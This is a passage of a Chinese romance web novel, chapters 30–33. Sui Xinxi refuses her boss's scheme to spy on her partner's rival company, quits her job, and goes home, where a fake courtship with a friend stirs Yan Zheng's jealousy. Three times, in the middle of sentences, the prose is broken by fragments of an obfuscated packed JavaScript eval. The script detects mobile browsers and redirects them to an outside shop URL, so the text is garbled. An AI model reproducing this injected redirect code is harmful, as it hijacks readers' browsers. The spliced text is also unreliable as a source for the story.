她赶紧跑出来一看,晏铮已经蜷缩在了地上,一手顶着胃,脸色煞白。 隋心喜吓坏了,扑过去扶他,“晏铮,疼得这么厉害?” 晏铮咬着牙,疼得说不出完整话。 “不行不行,得上医院!”隋心喜的心都到嗓子眼了,她费力想把他拽起来,“能走吗?我扶你。” 晏铮试了一下,勉强大半重量压在她身上,每一步都走得眼前发黑。 好不容易到了医院急诊,隋心喜连忙找护士推了辆轮椅过来。 护士看晏铮疼得直冒冷汗,立刻量了下血压心率,优先安排他进诊室。 医生是个中年男人,问了情况:“吃什么了?疼多久了?具体哪里疼?” “吃了很多海鲜,大概一个小时前开始的……就这儿,上面一点……”晏铮指着自己的上腹,声音虚弱。 医生按了按他指的地方,晏铮疼得倒抽一口冷气。 医生一边开单一边说:“急性肠胃炎可能性大,海鲜吃太多,凉性又油腻,刺激的。先去抽血化验,排除下其他问题,再做个腹部B超看看。看你疼成这样,先打一针止痛的。” 护士很快过来给晏铮打了一针。药效没那么快,他的脸色还是很难看。 隋心喜推着他去做检查,自责像滚雪球一样越滚越大。 抽血的时候,她站在旁边,眼泪忍不住掉了下来,“对不起啊,我不该逼你吃那么多的,都怪我……” 晏铮看到她满脸的泪痕,身体的不适忽然就淡了许多。他顿了顿,喘了口气,“是我自己想吃,你做的好吃。” 这句话让隋心喜的愧疚一下冲到顶点,眼泪流得更凶了。 她胡乱地用袖子擦着脸,背过身去说不出话。 检查结果出来,确诊急性肠胃炎。医生开了药,主要是补液和抗菌消炎,让去输液区打点滴。 折腾了快两个小时,晏铮才被推进输液室,挂上两大袋子药水。 止痛针的效果也上来了,肚子里那股要命的绞痛终于缓和下来。 隋心喜坐在他旁边的椅子上,眼睛红红的。她看着他手臂上插着的针头,小声问:“现在好点没?” 晏铮扯了扯嘴角,“好多了,就是有点累。” “嗯,那你睡会,我看着点滴。” 晏铮听话地闭上眼睛,没多久呼吸就变得沉稳绵长,像是睡着了。 输液室里开着空调,温度有点低。隋心喜怕他着凉,把自己的外套盖在了他身上。 时间一点点过去,一袋药水快见底了。 隋心喜按了呼叫铃,可等了好几分钟,也没见护士过来。 她怕回血,直接到外面的护士站找人,“您好,麻烦看看十二号床的晏铮,点滴快打完了。” 一个年轻护士正在写记录,听到隋心喜急切的声音,立刻站起来:“哦,好好,这就去。” 她一边拿新的输液瓶,一边随口问:“里面的是你男朋友吧?瞧给你急的。” 隋心喜一愣。 放在以往,她肯定立即撇清关系,但此刻,她只是笑笑。 护士看她没否认,也没再多问,拿着输液瓶就走。隋心喜默默跟在后面。 换药水的动静让晏铮醒了。他睁开眼,看到隋心喜,“还没结束?” “现在是第二袋,很快了”,隋心喜坐回他旁边的椅子。 晏铮恢复了一点力气,他动了动身体,发现盖在身上的外套,心里一暖。 他看向隋心喜,再度安抚道:“真的不关你事。” 隋心喜吸了吸鼻子,低下头:“看到你疼成那样,吓死我了。” “没事了”,晏铮笑了笑,想让她放松点。 输液室里安静下来,只有药水滴落的声响。 隋心喜抠着椅子边缘,那个在她心里盘旋了好些天的疑问,又出现了—— 她一直都搞不懂为什么晏铮会在酒吧推开她。这已经成了她心里的一根小刺。 她迫切地想要拔掉,于是鼓起勇气开口:“我有件事想问你。” “什么?”晏铮看着她。 她斟酌着语句,决定先来点铺垫,“王贤生日那晚,你去了没有?” 没想到,晏铮脸上原本挂着的温和笑意,瞬间都褪去了。 从他的视角出发,这个问题恰好能说明,隋心喜根本不能确认那晚面具下的人是谁! 他以为是她性格开朗,加上喝了点酒,在派对上玩疯了,所以才会对他这个“陌生人”搂搂抱抱。 他不愿意再继续这个话题,移开目光不再看她,声音也变得硬邦邦,“没去,我不喜欢那种场合。” 隋心喜根本没料到晏铮会给出这个答案。她所有想好的问题,所有想问出他真实想法的冲动,也被冻结了。 她咬了咬唇,勉强发出一个单音:“哦。” 那天晚上,两个人隔着一只手臂的距离,各自陷在自己的情绪里,谁也没有再开口。 —————————— 一周后,隋心喜推开管伟办公室的门。 她走到他办公桌前面站定,“管总,你找我?” 管伟放下手边的工作,指了指她前面的椅子,“来,坐下说。” 隋心喜点点头。她不知道是不是自己的错觉,管伟今天的表情,似乎有点皮笑肉不笑的怪异。 管伟往后靠了靠,两只手交叉放在肚子上,打量着隋心喜,“忙了一上午吧,方案进行得怎么样?” “还行,几个难点基本讨论清楚了,方案方向定下来了”,隋心喜暗暗琢磨着,管伟叫她来,肯定不是为了这事。 果不其然,管伟又寒暄了几句,开始进入正题,“我还想跟你聊聊,关于昨天那个招标结果的。” 隋心喜心里咯噔一下。 昨天的人工智能核心算法模块招标,富邦投入很大,听说结果不太好,但具体细节她不清楚。 她问:“结果怎么样?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602800|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >管伟叹了口气,眉头皱着,“我们输了,标被维恒拿走了。” 听到富邦输给维恒,隋心喜心里有点奇怪的感觉。 一方面,她为公司放了那么多心血的项目失败感到难过,毕竟这是她的工作阵地;但另一方面,赢家是晏铮,她又替他高兴。 还没等她消化这种矛盾感,管伟又继续道:“维恒势头猛得很啊,成立才两年,就把我们这种老牌子的方案都打得没脾气。报价、技术指标、落地承诺……方方面面都压我们一头。” “说实话,公司上下都对这个结果很震惊,大家私下里议论得挺多……”管伟顿了顿,终于说出了重点:“特别是大家都知道,维恒的年轻老板,是你男朋友。” 隋心喜的脊背挺直了,她明白管伟想说什么。 她迎上管伟的目光,解释道:“管总,招标方案的核心数据、关键策略,我没有参与最后阶段的封闭讨论,接触不到最核心的信息。而且,我有我的职业操守。” 管伟脸上的肌肉抽搐了一下,很快又摆摆手,“哎,心喜,你想多了,我不是那个意思。我还不了解你吗?你一毕业,就在我这儿跟着干,你是什么样的人品和能力,我心里有数,我百分之一百相信你!” 管伟话锋一转,面露难色,“但是,我相信你没用啊!现在那些风言风语,传得可难听了。说我们这次输得这么彻底,就是因为内部有人,胳膊肘往外拐了。” 隋心喜抿了抿唇,放在腿上的手已经悄悄握成了拳。她感到一种强烈的羞辱和愤怒,就因为她在同事眼中和晏铮是男女朋友的关系,她就要承受这种毫无根据的猜忌和中伤? 管伟叹了口气,语气变得沉重,“现在这个情况,对你真的很不利。你在公司这么多年,积累的口碑和人缘,可能就因为这件事情毁了。大家会觉得你立场有问题。这种印象一旦形成,你想再干点成绩出来,可就难了。” 隋心喜没说话,她控制着自己的呼吸,让自己冷静。管伟绕这么大圈子,肯定有目的。 管伟看她沉默,以为自己的话起了作用,语气也放柔了些,“我呢,作为你的领导,也是看着你成长起来的,当然不愿意看到你辛苦打拼的事业受影响。所以,我觉得你得做点什么,来证明给大家看,隋心喜首先是富邦的人,和公司是一条心的。” 隋心喜摆出一副虚心好学的样子,“你希望我怎么做呢?” 管伟意味深长道:“其实也不难。现在的情况是,维恒抢了我们一个大单,但市场这么大,机会多得是。下一个季度,关于智慧城市安全大脑的项目招标,规模更大,含金量更高,这才是兵家必争之地,维恒肯定也会全力以赴。这个项目对公司极其重要,我们是志在必得。你在这个领域经验丰富,是核心骨干。” “现在大家都知道,你跟晏铮在谈恋爱。这个关系,在别人眼里是麻烦;但是,如果运用得当,这可以变成一张其他人无论如何也拿不到的王牌啊!” 话已至此,管伟今天叫隋心喜来的目的已经很明确了。 他不是要她证明清白,而是要她利用她和晏铮的关系,去当商业间谍。 隋心喜看着管伟那张精明算计的脸,忽然就想明白了,为什么晏铮宁愿让她误会他是个普通学生,也要瞒着自己就是维恒老板的事实。 他担心的就是今天这种境地。 他不想让她为难,不想她被架在公司和自己的感情中间,被逼着选边站。 所以他一直都在用自己的方式,说着善意的谎言来保护她。 这个迟来的认知,像一股强劲的暖流,冲垮了刚才的愤怒和委屈。 隋心喜深吸一口气,缓缓松开了紧握的拳头。 “管总,我再说一遍。关于昨天的招标,我没有,也绝不会做任何泄露公司机密、损害公司利益的事情,这是我的职业底线。至于外面的流言蜚语,我没做过,自然问心无愧。” 管伟的脸色沉下来,有着被打断计划的不悦,“这不是愧不愧的问题,现在……” 隋心喜打断了他的话,“你刚才说,希望我证明立场,堵住别人的嘴。我理解你的意思。” 管伟眼神微亮,以为她终于开窍了。 隋心喜却毫无笑意地扯了扯嘴角,直白地告诉他:“如果你是想利用我和晏铮的私人关系,去套取维恒的商业情报,或者试图从他手上抢夺资源,来‘将功补过’……对不起了,这种事,我不会做。过去不会,现在不会,将来也永远不会。” 31. 第 31 章 隋心喜拿着一杯咖啡,踏进办公室。 她昨晚睡得不太好,这会儿就想赶紧到自己工位,先灌杯咖啡醒醒神。 “功臣回来了!”不知道谁先喊了一嗓子,紧接着好几个人围上来,把隋心喜堵在门口那块。 隋心喜懵了,扯出个笑,想从人缝里挤出去,“干嘛啊你们?大清早的。” 王雪站在最前头,脸上笑得跟朵花似的,“你还装,我们都知道了!智慧城市那个‘安全大脑’的项目,咱公司拿下的,就昨天正式签的合同。” 隋心喜皱了眉头。 这项目她知道,是最近圈子里最热的大单子,几家巨头都在抢。富邦确实也在投标,但她记得前期评估时,自家公司的方案差点意思,胜算不高。 现在富邦能拿下当然是好事,但怎么就跟自己扯上关系了? 她有点不安,试图解释:“我就负责我们组原来的活,这项目一点力都没出。” “哎呀,你就别谦虚了!”王雪挤眉弄眼地撞了她胳膊一下,“谁不知道你……嘿嘿……反正项目成了,钱到手了,管它那么多。听说奖金顶一个季度工资呢!” 王雪那意味深长的笑声,还有周围同事投过来的羡慕目光,像一根根细针,扎得隋心喜浑身不自在。 她脑子里忽然闪过一个月前管伟找她谈话的情景。 就在这时,身后有人带头鼓起了掌。 隋心喜循声望去,只见管伟脸上挂着领导视察工作时的标准笑容,一边拍手一边看着被围在中间的她。 他提高了嗓门,声音盖过了周围的嗡嗡议论,“这个项目能顺利拿下,离不开我们团队每个人的努力,尤其是隋心喜在其中发挥了关键作用,大家给点鼓励!” 有管伟带头,办公室里的掌声立刻热烈起来,还有人大声叫好。 全部人的目光都聚焦在隋心喜身上,聚光灯似的,烤得她脸皮发烫。 但是,她很快想明白了管伟的小动作,满脸尴尬渐渐被愤怒所取代。 她拨开那些围在身边的人,大步流星走到管伟面前,“管总,借一步说话。” 说着,她没等管伟回答,直接就朝他的办公室走去。 周围顿时鸦雀无声,管伟的笑容也僵住了,大概没料到隋心喜会是这种反应。 他面子上有点挂不住,只得掩饰性地咳了一声,朝周围摆摆手:“散了散了,都干活去。” —————————— 管伟绕过桌子,在自己的老板椅上坐下,试图恢复领导的从容。 他清了清嗓子,“心喜啊,刚才外面是有点太吵了。不过项目拿下是大事,大家高兴一下也正常嘛。你这次……” 隋心喜站在办公桌前,直接打断了他的客套话,“管总,请你和我说实话,富邦是怎么样拿下智慧城市安全大脑的项目的?” 管伟支吾了一下,“当然是靠我们团队的实力。” “实力?一个月前,你可不是这么跟我说的”,隋心喜眼神锐利得像要把他刺穿,“你说,我男朋友是对头公司的老板,大家都觉得是我泄露了机密导致上次竞标失败。你还说,我要做点事情扭转口碑。” 她渐渐激动起来,“我已经很明确的告诉过你,我不会从晏铮那里抢任何东西!结果呢?你还是利用我去向他施压了,是不是?” 管伟被她如此直白地一问,表情也失去了管理。 他舔了舔发干的嘴唇,“心喜,你这话说的太严重了。商场上嘛,资源互换,各取所需,很正常。” “所以你是承认了?”隋心喜步步逼问,声音冷得像冰,“你拿了什么去找晏铮?你是不是暗示他,如果不合作,我在富邦就待不下去了?” 管伟还想打太极,“我这边就是跟维恒沟通了一下,表达了我们合作的诚意,也提到了你作为两家公司之间的纽带。” 隋心喜都被气笑了,“你管这叫纽带?你这是把我当筹码,当人质!管伟你真行啊,为了抢项目,这种手段都用上了!” 管伟的脸一阵红一阵白,被下属指着鼻子骂让他恼羞成怒,声音也硬了起来:“隋心喜,注意你的态度,我是你的上级!项目拿下来对公司是好事,对大家都有利!奖金你不想要?再说了,维恒那边既然愿意让步,说明他也认可合作方案。人家做事大气,你也别太玻璃心!” 隋心喜和晏铮同一屋檐下,大家一向都很有默契地不谈工作。 但她知道,安全大脑这个项目,前景极好,晏铮也是精心筹备了很久的。 有好几次她半夜起来上厕所,甚至还听到了晏铮在聊工作的电话。 可现在,就因为这个混蛋管伟利用了她的处境,晏铮就把大肥肉让给了富邦? 这个傻子!笨蛋! 酸涩和心疼压过了愤怒,冲得隋心喜眼眶发热。 她抹了把眼角,问管伟最后一个问题,“在你眼里,是不是只要能达到目的,员工的尊严、感受,甚至基本的人与人之间的信任,都可以拿来交易?” 管伟强撑着:“成年人的世界就是这样!资源整合,互相成就,这就是现实。” 隋心喜看着这张虚伪又充满了爹味的脸,只觉得再多待一秒钟都是煎熬。 她摇摇头,“行吧,我不适合你那套职场厚黑学。所以我现在,正式提出离职!” “你疯了?”管伟眼珠子都快瞪出来了,完全不能理解。 隋心喜居然为了这点“小事”,为了那个刚创业的小男朋友,就要放弃这份打拼多年的事业? 他以为她顶多发发脾气,抱怨几句,这事就算过去了。哪想到她居然要走? 隋心喜倒是平静下来了,“我没疯,我很清楚我在做什么。我不能因为我,让晏铮为难。我更不想待在一个,把员工当成交易筹码、还觉得理所当然的地方。这份工作,不值得让我和晏铮任何一个人再受委屈。” 管伟见她来真的,也急了。 他站起来,绕过桌子想拦住她,“隋心喜,你冷静点,想想你的履 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602801|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 历,想想你在这个位置积累了多少!你为了私人感情影响事业,不觉得可惜吗?而且现在就业形势严峻,你离开了富邦,外面风大雨大,何必呢?” 隋心喜后退一步,避开了他伸过来的手,“在你眼里,可能只有利益得失才叫理智。但在我这儿,有些东西,比钱重要得多。” “你放心,该交接的工作,我都会交接清楚”,隋心喜对着管伟鞠了一躬,“谢谢你这几年的照顾。如果没什么别的事,我出去打辞职信了。” —————————— 所谓“好事不出门,坏事传千里”,短短一天的时间,隋心喜手撕管伟并且愤而辞职的小道消息,就在写字楼里不胫而走。 晏铮得知这个消息是傍晚,他没有心情再加班,火急火燎地就往家里赶。 到家的时候,他一眼就看到了茶几上的大箱子,里面除了马克杯,还有几本文件夹。 他用力咬了下唇,哑声道:“姐,这怎么回事?” 隋心喜坐在茶几前的地毯上,收拾着东西,“就你看到的那样。” 晏铮在她身边蹲下来,满脸自责:“是因为我对吗?我上次自作主张,让了那个标。” 隋心喜叹了口气,轻轻拍了拍他的胳膊,“就算你没让,但是你在维恒,我在富邦,两家公司针尖对麦芒的,以后就不会碰上这种左右为难的事?” 晏铮心疼地看着她,欲言又止。 隋心喜笑了笑,试图让气氛不那么沉重,“我不是总抱怨没有假期吗,春节都要提早结束回来加班。现在好了,终于可以歇一阵子,回去陪陪爸妈。还有这份工作,我从毕业干到现在,早就没了新鲜感,颈椎腰椎还没一处好的。我明天就可以睡懒觉了,还能养养身体。” 她絮絮叨叨地说着各种“好处”,可晏铮太了解她了。 多年的心血,被她用一个箱子装回来。 轻松的话,全是强撑。 一股无法按捺的冲动涌上心头,晏铮伸出手臂,环住了隋心喜。 他闭了闭眼睛,声音在她耳边响起,“你再给我点时间,我会更努力工作。用不了多久,真的。” 隋心喜明白晏铮的意思。 他想尽快强大起来,强大到足以在任何人、任何事面前,都能把她护在身后,不让她受一点委屈,不用再面对今天这种被迫选择和放弃的难堪。 她感受着晏铮怀抱的温度,心脏疯狂地跳动着。 好一会儿,她总算理智艰难地挣脱了令人眩晕的亲密氛围。 她一字一句地告诉晏铮:“就算没有我,你都得有自己的事业。维恒是你打拼出来的,你得为自己负责,明白吗?” 晏铮眼底灼热的光亮晃了一下,几乎就要脱口而出“我做的一切都是为了你”。 可是,他看到了隋心喜眼中的认真,还是刹住了车。 他不能让她觉得,他是个只会围着感情转、没有自我的“恋爱脑”。 他用力地点点头,听话地应了一声。 32. 第 32 章 隋心喜拖着行李箱,推开了老家的门。 她满足地吸了一口熟悉的饭菜香味,喊了一句,“妈,我回来了。” 庞夏蕊掀开厨房门帘,探出头来。她在围裙上抹了抹手,眼神扫过地上的行李箱,疑惑道:“你不是说放假回来小住几天吗,怎么带了这么多东西回来?” 隋心喜换了拖鞋往里走,“先不说这个,饿死我了,有什么吃的先垫一口?” 庞夏蕊没让她糊弄过去,跟在她后面进了房间,“问你呢,箱子怎么回事?看着跟搬回来常住似的。你工作呢,怎么忽然间放假?” 隋心喜心里叹了口气,知道躲不过,老实交代:“我辞职了。” “啥?”庞夏蕊声音高了几度,“隋心喜你开什么玩笑?你在富邦干了多久才升组长,现在说辞就辞了?” 她急得在客厅里转了个圈,“为什么啊?是不是受什么委屈了,还是那个管伟又给你穿小鞋了?” 隋心喜放下行李箱,自顾自地坐在床上,“就是累了。想歇歇。换个环境。” “谁工作不累?你都快三十了隋心喜,不是刚毕业的小姑娘想一出是一出!”庞夏蕊的火气蹭蹭往上冒,“你知不知道现在找个好工作多难?你这岁数,过多几年都要到被‘优化’的阶段了,你是不是傻?” 隋心喜默不作声,视线只停留在脚尖上。 庞夏蕊发泄了一通,又把怒火蔓延到另一件事,“我听人说,你在江市那边交了男朋友?什么时候的事儿,我怎么一点不知道?你现在辞职辞得这么痛快,是不是因为他?” 隋心喜心里咯噔一下。完了,当初晏铮在公司说她是女朋友,同事们可都当真了,也不知道怎么就传到了庞夏蕊的耳中。 她支支吾吾道:“假的……晏铮帮我挡麻烦才那么说的。” 庞夏蕊脸上那点因为“女儿可能有男朋友”而升起的光亮,一下全灭了,只剩下阴沉沉的乌云,“你让晏铮假扮你男朋友?” 隋心喜硬着头皮说是,“就一次,应急的。” 庞夏蕊气得胸口都在起伏,“隋心喜啊!你妈我跟你爸,还有你那些七大姑八大姨,催你找对象催了多少年?嘴皮子都磨破了,你倒好,不正正经经谈恋爱,怎么还玩这种过家家的把戏,你当你是幼儿园小朋友呢?” “你每年回来都答应得好好的,说尽快找,尽快找!结果现在辞了工作,还弄个假男友,你是想气死我是不是?” 隋心喜被这劈头盖脸的一顿骂弄得心烦意乱,只想快点结束这场拷问。 她推脱着,“我知道了知道了!别说了行不行?我这不是还没遇上合适的吗?我答应你,我找,我认真找!行了吧?” “光嘴上答应有什么用?你倒是拿出实际行动来啊!”庞夏蕊不依不饶,“你看看你那些同学,孩子都上幼儿园了!你再看看你,三十岁的人了,工作工作辞了,对象对象没有!你想干嘛啊?想当老姑娘在家啃老吗?” “听到了听到了!”隋心喜赶紧打断母亲可能更激烈的言辞,烦躁地揉了揉太阳穴,“我要收拾东西了,你赶紧去做饭,饭好了叫我。” 房门终于关上,隋心喜背靠着门板,还能隐约听到母亲在客厅里气呼呼地发语音,大概是在跟父亲或者哪个阿姨吐槽她。 她重重地叹了口气。没想到辞职的轻松感还没享受两天,就被这更猛烈的催婚风暴给淹没了。 正烦着呢,手机响了。是王贤。 她有气无力地接起来,“喂?” 王贤调侃道:“到家了吧?怎么样,你妈没把你吃了?” 隋心喜躺在床上,开始对着电话大倒苦水,“刚进门就因为辞职的事被批斗了一顿。后面我妈得知我找晏铮假扮男友的事情,更是直接原地爆炸,一顿疯狂输出催婚,勒令今年必须带个真的回来。她说得女人过了二十五就自动贬值,到了三十就该打包处理了似的,我现在一个头两个大!” 王贤很是同情,“说到催婚,我刚也经历了地狱模式。我妈那架势,恨不得明天就给我塞进洞房,说什么‘你再不找,好的都让人挑光了’,或者问我是不是有什么暗病。烦得我想立刻买张机票再飞出去!” 电话那头沉默了两秒,王贤突然笑了起来,“喂,心喜,你说咱俩都这么惨,要不互相拯救一下?” 隋心喜没反应过来,“怎么拯救?” “我这不是被家里催着带女朋友回去吗?你刚好被催着带男朋友。咱俩这关系,知根知底。我现在来帮你糊弄你妈,等过年那会儿,你再来我家扮女朋友。完美计划,各取所需,共渡难关!” 隋心喜的眼睛一下子亮了。她怎么就没想到王贤呢? 他人帅嘴甜会来事,在长辈面前特别吃得开;两人关系够铁,互相都了解,配合起来肯定天衣无缝;而且他还是gay蜜,不用担心假戏真做。 “你真是天才!”隋心喜的烦闷一扫而空,声音都雀跃起来,“就这么定了,你抓紧时间来找我。” 王贤也乐了,“那你提前铺垫一下啊,就说咱俩老同学重逢,擦出了火花。反正我们读书时,他们就觉得有苗头。” 隋心喜一口答应,两人又嘻嘻哈哈聊了好一会,才挂了电话。 —————————— 晏铮刚在维恒科技结束一个冗长的会议。 他看着落地窗外城市的璀璨灯火,想起一千公里外的百泉市。 劳累的时候,他想听到隋心喜的声音,想知道她在家做什么,更想知道,她有没有想他。 他拨了电话,听筒里传来规律的等待声,最后自动挂断。他又打了几次,还是没人接。 他盯着暗下去的手机屏幕,好看的眉头拧了起来。 这个时间,隋心喜是在吃饭?还是跟她爸妈聊天?或者手机没放身边? 他眼神闪了闪,想到了隋心喜的父亲隋涛原。他身体一直有点小毛病,是个很好的切入点。 他指尖在通讯录里滑动,很快拨给了“隋叔”。 电话响了几声就被接起,隋涛原笑了声:“喂,小铮啊?” “隋叔,是我。您吃饭了吗,最近身体怎么样?头还晕不晕,血压还稳定吗?” “吃了吃了,刚放下碗。身体还是老样子,就是腿脚有点不利索,你庞姨天天念叨让我多走走。” 晏铮顺着话头带过去,“那是得听庞姨的,适当活动活动好。姐到家好几天了吧?她最近工作挺累的,心情可能也不太好。您让她在家多陪您散散步,正好她也能放松。” 电话那头静了静,隋涛原有点无奈又有点高兴:“她啊……陪我是没什么指望喽!” 晏铮心里一紧,“嗯?怎么了,她刚到家就忙?” “是忙,忙着谈恋爱呢。你是不知道,你心喜姐跟王贤那小子好上啦,俩人天天出去,吃饭看电影逛街,热乎着呢!我们这些老家伙,得识趣点,别打扰年轻人。” 顿时,晏铮脸上的笑意僵住了,喉咙也发干,“什么时候的事?我没听她提过。” 隋涛原却心情不错,话也多起来,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602802|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们俩是老同学了,读书那会就有点意思,你不是也见过王贤来找她吗?后来他出国,这事就黄了,现在回来发展,又干柴烈火地续上了!” “王贤那孩子,前两天还来家里吃饭,把你庞姨哄得可高兴了。小伙子看着稳重,我们都觉得挺好,心喜也不小了,是该早点定下来。小铮啊,你跟你姐关系好,有空也帮我们劝劝她,这遇到合适的,就赶紧把事儿办了吧!” 晏铮眉头皱得更紧了,他用尽所有自制力才没让声音发抖,“这样啊……好的,隋叔,我知道了。您注意身体,我这边还有点事,先挂了。” 晏铮匆匆按断了电话。手机被他攥得死紧,手背上青筋都凸了起来。办公室里安静一片,只有他粗重的呼吸声。 隋心喜是告诉过他,王贤喜欢男人,但万一他是双性恋呢? 隋心喜对他,一直很特别,那是除自己之外,她最信任最亲密的异性朋友。 现在隋家父母又对他这么满意,甚至把结婚都要提上日程了…… 晏铮觉得自己不能再坐以待毙了,他迅速点开购票APP,买票回百泉。 —————————— 影院的大灯亮了,隋心喜揉了揉有点发酸的眼睛,跟着人流往外挪。 旁边的王贤凑近点,“这都快十二点了,你爸妈不会唠叨你怎么跟我混的这么晚?” 隋心喜没好气道:“唠叨啥?他们现在看你比看我这个亲闺女还顺眼。巴不得我晚上别回去,最好直接跟你生米煮成熟饭,他们好早点抱外孙。” 王贤嘿嘿笑了两声,对这种“准女婿”待遇很受用。 隋心喜掏出手机,关掉静音,除了看到晏铮的几个未接来电,还有一条信息,【姐,我明天回百泉。】 隋心喜忍不住尖叫出声,“王贤,晏铮怎么突然要回来?” 王贤凑过来瞄她的手机屏幕,“这不正好吗,你难道不想你家小狼狗?但是你为什么一副被捉奸在床的样子?” “什么捉奸在床!”隋心喜瞪他,“他要是回来,看到你天天在我面前晃悠,看到我妈那副恨不得明天就让我们领证的样子,指不定怎么想呢。” 她缓了缓,小声道:“要不你最近先别去我家了,避避风头。” 王贤夸张地做出一个受伤的表情,“不是吧隋心喜?我正演你男朋友演得正起劲,帮你挡枪挡得这么敬业,你说消失就让我消失?过河拆桥也没你这么快的!” “我不是那意思……” “你就是那意思!”王贤打断她,随即又换上玩世不恭的笑脸,“哎,你傻不傻?这多好的机会啊!” “机会?”隋心喜不知道他又想出了什么鬼主意。 王贤啧啧两声,“你俩这磨磨唧唧的,我这个旁观者看着都着急上火。现在正好,让他亲眼看看危机,他一急,说不定就忍不住了,该说的话说了,该干的事干了。这叫置之死地而后生!” 隋心喜对上次酒吧的失败计划还心有余悸,“你要刺激晏铮?行不行的啊?他那个人表面不显,心里指不定怎么记恨,万一玩脱了……” “哎呀,你怕什么,有我呢!”王贤拍着胸脯,“再说了,我是你gay蜜,晏铮再不爽,还能吃了我?顶多给我几个眼刀子。为了姐妹你的终身幸福,我豁出去了!听我的,让他看,让他急。” 隋心喜看着他一脸“为朋友两肋插刀”的豪情,心里直打鼓。但眼下,似乎也没更好的办法了。 她点点头,“那行吧,明天你准时到位,见机行事啊。” 33. 第 33 章 百泉市秋天的风带着凉意,吹在晏铮脸上,却吹不散心头的烦闷。 他站在熟悉的居民楼下,仰头望向五楼亮着暖黄色灯光的阳台,那儿有两个靠得很近的身影。 王贤正侧对着楼下,一只手随意地搭在阳台栏杆上,另一只手正亲昵地环在隋心喜的腰间。 他半拥着隋心喜,头凑近她耳边,不知道在说什么,脸上带着轻松愉快的笑容。 隋心喜背对着楼下,看不到表情,但她的身体姿态没有丝毫抗拒,像是在认真听王贤说话。 那画面,在傍晚的光线下,构成了一幅温馨到刺眼的情侣私语图。 晏铮只感觉脑子里那根名为理智的弦,一下子断开了。 他几步跑进单元楼,脚步声急促地像是要把楼梯踏穿。 他一口作气冲到隋心喜家门口,正要拍门,庞夏蕊却从里面走出。 她手中提着个垃圾袋,很是意外:“小铮,你怎么也回来了?也不提前说一声,快……” 她的话戛然而止,因为她看清了晏铮此刻的样子。 小伙子脸色铁青,嘴唇抿得死紧,那双平时在她面前总是带着温和笑意的眼睛,此刻黑沉沉地涌着戾气。 他的视线越过她,落在阳台的方向。 庞夏蕊立刻明白了这滔天怒气的来源。 她往前一步,看似热情实则挡在了门口,截断了晏铮的视线。 她露出一个属于长辈的慈爱笑容,“看你这孩子,跑这一头汗,累坏了吧?工作那么忙还惦记着回来看我们,真是有心了!” 她一边说,一边去拉晏铮紧握成拳的手,想把他带离门口,“你隋叔刚还念叨你呢。你先回家里把行李放下,洗把脸,歇口气。” 晏铮的身体僵着,根本没动,眼神锐利得几乎要剥开她笑容的伪装。 庞夏蕊愣了愣,随即脸上笑容更盛,像是要盖过什么:“哎呀,你这孩子,愣着干嘛?听话,等会儿饭好了,阿姨叫你,今天正好,王贤也在家吃饭呢。” “王贤今天还陪我去超市买菜,晚饭的菜单都是听他安排的。心喜粗枝大叶,生活没点常识,现在能找到一个这样细心的男朋友,我们老两口可算是放心了,你待会也来看看你‘未来姐夫’啊。” 晏铮听出来了,这哪里是普通的家常话,分明是在划清界限、宣告立场,也是在用一种最温和的方式告诉他: 晏铮,这里没你的位置;王贤,才是隋家认可的未来女婿。 妒忌和委屈,几乎要将晏铮吞噬。他想不管不顾地冲进去,想质问阳台上的那个人。 但他不能。 他看到了庞阿姨眼中那不容商量的坚决,如果他此刻发作,最难做的,只会是夹在中间的隋心喜。 他不想让她为难,一次都不想。 他闭了闭眼睛,拼命吞下所有情绪,然后极其艰难地笑了一下,“行,我等下过来。” —————————— 一个小时后,隋心喜家摆好了饭桌,晏铮也过来了。 庞夏蕊对着王贤很是热情,筷子不停往他碗里招呼,“小贤,快尝尝这个红烧排骨,今天我两一起买的。” “谢谢阿姨!”王贤咬了一大口排骨,嚼得吧唧响,“真香啊,阿姨您这手艺绝了,五星级大厨都比不上!” 他咽下去,也夹了一块鸡肉到隋心喜碗里,“你最爱的鸡胸肉。” 隋心喜正扒拉米饭,碗里突然多出块肉。 她一抬头,正好撞上斜对面晏铮看过来的眼神。 隋心喜心里咯噔一下,赶紧想把鸡肉夹回去:“不用不用,你自己吃……” “啧,跟我还见外?”王贤一把按住她的筷子,还在她手背拍了两下,“阿姨做的菜那么好吃,你得多吃点。” 庞夏蕊看在眼里,乐得合不拢嘴:“小贤多会心疼人,心喜你学着点,别一天到晚大大咧咧的。” 隋心喜浑身不自在,感觉晏铮那边的空气都快冻住了。她只能硬着头皮,把那块鸡肉塞嘴里,嚼得没滋没味。 